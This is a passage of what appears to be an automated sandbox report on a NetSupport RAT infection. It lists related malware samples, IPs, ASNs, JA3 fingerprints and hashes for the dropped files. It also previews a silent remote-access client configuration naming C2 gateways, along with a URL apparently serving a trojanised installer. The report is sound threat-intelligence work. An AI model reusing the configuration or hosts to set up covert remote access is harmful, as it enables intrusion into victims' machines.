	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	NeftPaymentError_Emdtd22102024_jpg.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
geo.netsupportsoftware.com	Update.js	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	file.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.0.231
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse	104.26.0.231

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HOSTWINDSUS	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	142.11.240.128
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	192.119.104.64
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	142.11.240.155
	ppc.elf	Get hash	malicious	Mirai	Browse	23.254.189.226
	mpsl.elf	Get hash	malicious	Mirai	Browse	23.254.189.241
	ppc.elf	Get hash	malicious	Unknown	Browse	192.236.246.50
	sora.spc.elf	Get hash	malicious	Mirai	Browse	23.254.189.223
	https://dragonfly.cloudstore.business/file/d/1iZ8GX_NkrnJvRM8atkT-YMQtlk0GchX1/view?usp=sharing_eil_m&ts=98923449	Get hash	malicious	Unknown	Browse	104.168.157.45
	https://0nline.hrdocuments.online/?K2dM=7XW	Get hash	malicious	Unknown	Browse	142.11.210.61
	botx.arm.elf	Get hash	malicious	Mirai	Browse	192.236.176.234
CITYLAN-ASRU	OocBsRyXoT.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.118.43.167
	HNzkADzkE2.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.118.43.167
	arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	212.118.43.167
	x86.elf	Get hash	malicious	Mirai	Browse	212.118.43.167
	arm7.elf	Get hash	malicious	Mirai	Browse	212.118.43.167
	file.exe	Get hash	malicious	Unknown	Browse	88.210.6.42
	file.exe	Get hash	malicious	Unknown	Browse	88.210.6.42
	0tGEmgFUHk.elf	Get hash	malicious	Unknown	Browse	212.118.43.167
	lhZOo8vhuI.elf	Get hash	malicious	Unknown	Browse	212.118.43.167
	uV4x1JLrrF.elf	Get hash	malicious	Unknown	Browse	212.118.43.167
CLOUDFLARENETUS	2LKVPFub8Z.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	7fE6IkvYWf.exe	Get hash	malicious	Unknown	Browse	104.16.184.241
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	172.67.74.152
	datXObAAn1.exe	Get hash	malicious	Discord Rat	Browse	162.159.133.234
	EeXJoO1J62.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234
	gcrY4QgzW9.exe	Get hash	malicious	Discord Rat	Browse	162.159.136.234
	DEeQxdFfyL.exe	Get hash	malicious	Unknown	Browse	104.21.11.231
	datXObAAn1.exe	Get hash	malicious	Discord Rat	Browse	162.159.135.234
	XZaysgiUfm.exe	Get hash	malicious	Discord Rat	Browse	162.159.130.234

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	NewOrder12052024.js	Get hash	malicious	Remcos	Browse	23.254.224.41
	4f9o4398o3ff34f.lNK.lnk	Get hash	malicious	Unknown	Browse	23.254.224.41
	Yn13dTQdcW.exe	Get hash	malicious	Vidar	Browse	23.254.224.41
	ZmrwoZsbPp.exe	Get hash	malicious	XRed	Browse	23.254.224.41
	ccmsetup.exe	Get hash	malicious	XRed	Browse	23.254.224.41
	Setup.exe	Get hash	malicious	Vidar	Browse	23.254.224.41
	Setup.exe	Get hash	malicious	Vidar	Browse	23.254.224.41
	Synaptics.exe	Get hash	malicious	XRed	Browse	23.254.224.41
	DKfcEFnBtm.exe	Get hash	malicious	GuLoader	Browse	23.254.224.41
	vj3dH1vmYe.exe	Get hash	malicious	FormBook, GuLoader	Browse	23.254.224.41

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	KC0uZWwr8p.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	hkpqXovZtS.exe	Get hash	malicious	NetSupport RAT	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	Advanced_IP_Scanner_2.5.4594.12.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse
	https://asknetsupertech.com/wp-content/plugins/elementor/app/modules/site-editor/CiscoSetup.exe	Get hash	malicious	NetSupport RAT, NetSupport Downloader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\DNScache\AudioCapture.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	93560
Entropy (8bit):	6.5461580255883876
Encrypted:	false
SSDEEP:	1536:wrOxDJs/Ksdl0R1dBmhFXxRpP9JNvbnPUGI:3yXlQmhhHp9J9bnPTI
MD5:	4182F37B9BA1FA315268C669B5335DDE
SHA1:	2C13DA0C10638A5200FED99DCDCF0DC77A599073
SHA-256:	A74612AE5234D1A8F1263545400668097F9EB6A01DFB8037BC61CA9CAE82C5B8
SHA-512:	4F22AD5679A844F6ED248BF2594AF94CF2ED1E5C6C5441F0FB4DE766648C17D1641A6CE7C816751F0520A3AE336479C15F3F8B6EBE64A76C38BC28A02FF0F5DC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\AudioCapture.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: KC0uZWwr8p.exe, Detection: malicious, Browse Filename: KC0uZWwr8p.exe, Detection: malicious, Browse Filename: hkpqXovZtS.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: CiscoSetup.exe, Detection: malicious, Browse Filename: Advanced_IP_Scanner_2.5.4594.12.exe, Detection: malicious, Browse Filename: Advanced_IP_Scanner_2.5.4594.12.exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........in.:n.:n.:g.6:\|.:g. :".:g.':J.:g.0:i.:n.:5.:g.):i.:g.1:o.:p.7:o.:g.2:o.:Richn.:........PE..L......U...........!.........j.......S............0.................................5f..............................@..-...."..P....P..X............D..x)...`..4...p...................................@...............@............................text............................... ..`.rdata..m;.......<..................@..@.data........0......................@....rsrc...X....P.......$..............@..@.reloc..T....`.......,..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	328056
Entropy (8bit):	6.754723001562745
Encrypted:	false
SSDEEP:	6144:2ib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OK/Y:2ib5YbsXioEgULFpSzya9/lY5SilQCfg
MD5:	2D3B207C8A48148296156E5725426C7F
SHA1:	AD464EB7CF5C19C8A443AB5B590440B32DBC618F
SHA-256:	EDFE2B923BFB5D1088DE1611401F5C35ECE91581E71503A5631647AC51F7D796
SHA-512:	55C791705993B83C9B26A8DBD545D7E149C42EE358ECECE638128EE271E85B4FDBFD6FBAE61D13533BF39AE752144E2CC2C5EDCDA955F18C37A785084DB0860C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P......=G....@......................... ...k....y..x.......@...............x).......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\NSM.LIC

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	5.058986594877512
Encrypted:	false
SSDEEP:	6:O/oP54xRPjwxVshvydDKHMoEEjLgpW2MWMf651XZNWYpPM/iooZa8l6i7s:X0R7wxQJjjqW2MWMf65TNBPM/io98l6J
MD5:	1DC87146379E5E3F85FD23B25889AE2A
SHA1:	B750C56C757AD430C9421803649ACF9ACD15A860
SHA-256:	F7D80E323E7D0ED1E3DDD9B5DF08AF23DCECB47A3E289314134D4B76B3ADCAF2
SHA-512:	7861ABE50EEFDF4452E4BAACC4B788895610196B387B70DDEAB7BC70735391ED0A015F47EADA94A368B82F8E5CEDB5A2096E624F4A881FF067937AD159E3562C
Malicious:	false
Preview:	1200..0xdb3e38e....; NetSupport License File...; Generated on 00:48 - 19/03/2014........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=MGJFFRT466..maxslaves=100000..os2=1..product=10..serial_no=NSM301071..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18808
Entropy (8bit):	6.22028391196942
Encrypted:	false
SSDEEP:	192:1ANeiOT8Z2b6SoVF6RRHaPrpF3o47jtd3hfwHjvud3hfwx7bjuh:1ANt+E2exrpxTSDuTuih
MD5:	A0B9388C5F18E27266A31F8C5765B263
SHA1:	906F7E94F841D464D4DA144F7C858FA2160E36DB
SHA-256:	313117E723DDA6EA3911FAACD23F4405003FB651C73DE8DEFF10B9EB5B4A058A
SHA-512:	6051A0B22AF135B4433474DC7C6F53FB1C06844D0A30ED596A3C6C80644DF511B023E140C4878867FA2578C79695FAC2EB303AEA87C0ECFC15A4AD264BD0B3CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sv..7.d.7.d.7.d.,...5.d.,...4.d.>o..0.d.7.e...d.,...3.d.,...6.d.,...6.d.,...6.d.Rich7.d.........PE..L...f..U...........!......................... ...............................`............@.........................p"..a.... ..P....@............... ..x)...P......@ ............................................... ..@............................text...$........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\PCICL32.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3710280
Entropy (8bit):	6.518204410536431
Encrypted:	false
SSDEEP:	49152:xOHDe5Yr6tYA4S+DjdwfwBTNZaZQclSpmTIH:xOHDe5YrvS+tBQSEm
MD5:	AD51946B1659ED61B76FF4E599E36683
SHA1:	DFE2439424886E8ACF9FA3FFDE6CAAF7BFDD583E
SHA-256:	07A191254362664B3993479A277199F7EA5EE723B6C25803914EEDB50250ACF4
SHA-512:	6C30E7793F69508F6D9AA6EDCEC6930BA361628EF597E32C218E15D80586F5A86D89FCBEE63A35EAB7B1E0AE26277512F4C1A03DF7912F9B7FF9A9A858CF3962
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h..........<G.............-..........q............q.....q......-.Q....,.\|.....................Rich............PE..L.....U...........!.......... ......].......................................09......9...............................................................8.H.....7.d...................................`...@....................w..`....................text............................... ..`.rdata..............................@..@.data....%..........................@....tls.................p..............@....hhshare.............r..............@....rsrc................t..............@..@.reloc...,....7......V6.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	391832
Entropy (8bit):	6.788660116314725
Encrypted:	false
SSDEEP:	6144:/0pwbUb486Yu0LIFZf4TktH4aY384az44lstAZPVJ4hPueU12jXvbJaS0T9XjJpX:8pwbUb48Ju0LIFZf4Tk2aY3FasNAZtJp
MD5:	405A7BCA024D33D7D6464129C1B58451
SHA1:	22B64E211D96D773C510AC82E7A73F8DEBF4E4CD
SHA-256:	092C3EC01883D3B4B131985B3971F7E2E523252B75F9C2470E0821505C4A3A83
SHA-512:	3C8D4CBF377A8BEB793C93B63D521CCD75167DEC02DA43BB91434CB6B0737CA2D61FA201F2825FD1A0CEAAE768BB53D78F737E7C412AAE83D3CDC748893F31E6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...;..U...........!......................................................................@.............................o...T...x....0..8....................@..`E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...8....0......................@..@.reloc..&F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\client32.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	55456
Entropy (8bit):	3.9089814840046824
Encrypted:	false
SSDEEP:	1536:HtvrImfzoXK6DDvvvDvpvZMt+pan/opgRl2:lImfzoXK9/o66
MD5:	9497AECE91E1CCC495CA26AE284600B9
SHA1:	A005D8CE0C1EA8901C1B4EA86C40F4925BD2C6DA
SHA-256:	1B63F83F06DBD9125A6983A36E0DBD64026BB4F535E97C5DF67C1563D91EFF89
SHA-512:	4C892E5029A707BCF73B85AC110D8078CB273632B68637E9B296A7474AB0202320FF24CF6206DE04AF08ABF087654B0D80CBECFAE824C06616C47CE93F0929C9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H..&...&...&.<.{...&...'...&.@."...&...-...&.x. ...&.Rich..&.........PE..L....Y.K............................ ........ ....@..................................'.......................................0..<....@...r..........P...P............ ..............................................X0...............................text............................... ..`.rdata....... ....... ..............@..@.idata.......0.......0..............@....rsrc....r...@.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\client32.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	640
Entropy (8bit):	5.389699151770915
Encrypted:	false
SSDEEP:	12:JNXqH+ZbsGSyLBa/vpVSXCxOZ7CCPfu82kJCYublu/f0cLA:J1qe6U8zxOLrVzusf0cc
MD5:	6EEB15A71863A041860F4D235F262C43
SHA1:	56D8F4BC78E9BA306AE76C78BF63199DA85BB157
SHA-256:	8C4058275296CDAC4BE580F5B4B5EDAAD854202977544F1CBA66AFBF5E80CA59
SHA-512:	2B02A3B94C91D0D6F836DFE501D360492DD01D01ADEDBD231E8BBE1DB6052FD418A0C41AD0D72DE1835A3427EE24B50F95C97B4929DB48214432CC284A5D9CD1
Malicious:	false
Preview:	0x123641ed....[Client].._present=1..DisableChatMenu=1..DisableDisconnect=1..DisableReplayMenu=1..SecurityKey2=dgAAAMMIrHFRU0tiSzaaF9m1asQA..Protocols=3..Shared=1..ValidAddresses.TCP=..silent=1..AlwaysOnTop=0..SOS_Alt=0..DisableMessage=1..SOS_LShift=0..DisableRequestHelp=1..SOS_RShift=0..DisableChat=1..SysTray=0..UnloadMirrorOnDisconnect=0..AutoICFConfig=1..Usernames=....[_License]..quiet=1....[_Info]..Filename=C:\Users\Public\NetSups\client32u.ini....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=ganeres1.com:3785..Port=3785..GSK=DL9B=HAOFG9K>KDEGN:N>C@DEL..SecondaryGateway=ganeres2.com:3785..SecondaryPort=3785..

C:\Users\user\AppData\Local\DNScache\msvcr100.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\nskbfltr.inf

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Local\DNScache\nsm_vpro.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Local\DNScache\pcicapi.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.737780491933496
Encrypted:	false
SSDEEP:	768:FFvNhAyi5hHA448qZkSn+EgT8To1iTYiu:FCyoHA448qSSzgI2GQ
MD5:	DCDE2248D19C778A41AA165866DD52D0
SHA1:	7EC84BE84FE23F0B0093B647538737E1F19EBB03
SHA-256:	9074FD40EA6A0CAA892E6361A6A4E834C2E51E6E98D1FFCDA7A9A537594A6917
SHA-512:	C5D170D420F1AEB9BCD606A282AF6E8DA04AE45C83D07FAAACB73FF2E27F4188B09446CE508620124F6D9B447A40A23620CFB39B79F02B04BB9E513866352166
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\DNScache\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\remcmdstub.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63320
Entropy (8bit):	6.439464682558898
Encrypted:	false
SSDEEP:	1536:bJfanvXuN86jJ9hUHYBlXUYwT24a+yVwQ:lanPGjJTU4IYia+yVX
MD5:	35DA3B727567FAB0C7C8426F1261C7F5
SHA1:	B71557D67BCD427EF928EFCE7B6A6529226415E6
SHA-256:	89027F1449BE9BA1E56DD82D13A947CB3CA319ADFE9782F4874FBDC26DC59D09
SHA-512:	14EDADCEECEB95F5C21FD3A0A349DD2A312D1965268610D6A6067049F34E3577FC96F6BA37B1D6AB8CE21444208C462FA97FAB24BBCD77059BC819E12C5EFC5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(T-.I:~.I:~.I:~..~.I:~.1.~.I:~.I;~.I:~..~.I:~..~.I:~..~.I:~..~.I:~Rich.I:~........PE..L.....(Y.....................J.......!............@.......................... .......D....@....................................<.......T...............X'..............................................@...............@............................text............................... ..`.rdata..,%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\rtmmvrortc.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	56672
Entropy (8bit):	6.106763215798156
Encrypted:	false
SSDEEP:	768:uJOxDGpFL3EnBBiQn6QMqb9EwBKWqHjE9kgLZSi8YoZd0kRcZiEKuklqJdLaRjT:pt9NBLbRoZ+ecZKuklqJdLaRf
MD5:	E571E9F0A58FD600A8C5CC99FDE770D5
SHA1:	9B3D6A66B2831D07C48F78D2CDEC5F42B03BA987
SHA-256:	82DE07C8D1FC2231ACA4EB6539295A5C55C4ADCC76BD4392A38A08177A9CBD27
SHA-512:	E71BCDD79D286F28C0DAAFB34DF3CBC1A1632C29E46B837488AD2556FE96BB5BB5D261C7E8966C654996748FFFB9E8D870C8FEDCCA1DE93942CA3EA4AD97F757
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?;.^U..^U..^U..<R..^U..<S..^U.g=T..^U.u<V..^U.u<P..^U.u<Q..^U..&..^U..^T..^U.g=P..^U.g=U..^U.g=...^U..^..^U.g=W..^U.Rich.^U.........................PE..d......^.........." .....b...\.......I...............................................d....`A........................................ ...........\|.......X...............`#..........@...8............................................................................text....a.......b.................. ..`.rdata..>6.......8...f..............@..@.data...x...........................@....pdata..............................@..@.rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\rtutils.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	5.739225857898556
Encrypted:	false
SSDEEP:	1536:QiKD8Bh/l3u7aakx+M5z0geVZIhTLx7Ntc5V7EsMkSXQRzjf/eY/Qb7DDcgOIwW:QiA8T/5gGl0geYhpptc5V7EYSXQRzjfm
MD5:	CA54E2B4C211EFE0E98D2775C145D0D6
SHA1:	B356634D960F609B58D794F682439545D3C0EEFA
SHA-256:	C05EA8C30AD29AC0601CB50E9E0DF742E54B90D86CCFB8AE218BFF61F1C27A95
SHA-512:	0EDD8528D240603816356895E5959F895E33A7765529324DD915536A08FF0C1E093A6E18BE1349D9065A49841D5AEEF9AC87B470871328B3113FF72B27E85314
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........P.f~..f~..f~......f~...}..f~...z..f~..f...f~......f~...~..f~...s..f~......f~...\|..f~.Rich.f~.................PE..d...3.9{.........." .........l......00.......................................`......].....`A........................................ ................0.......................P..D...@...p...........................................(...H.......@....................text...M........................... ..`.rdata...5.......6..................@..@.data...............................@....pdata..............................@..@.didat..0.... ......................@....rsrc........0... ..................@..@.reloc..D....P......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\DNScache\sxshared.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	46080
Entropy (8bit):	3.273666660833686
Encrypted:	false
SSDEEP:	384:u1mlLGdBbgtstA4w6vjn8x/0iwBJJ+eH296Jv7ikPoIfuli1MpWDvcW:8Rdtz8x/VMmO2MvEOuli9
MD5:	56896C77EBFF259C18B863C1600F57C1
SHA1:	3FEDCEBC151857FEC34DDD68D7958D5815669261
SHA-256:	04895B438E7CF902662C99B45AB9FCA94980FA92299A53F849FF5187D36321FD
SHA-512:	27AA45EEE0B6FFD29328504231E0F42D71DC16F77E61FC2FF5CD8BC2CE762F25FFC914882B1A42981DF0E0C8FB495E0748136B943FBBFA191E9659FBF465658D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
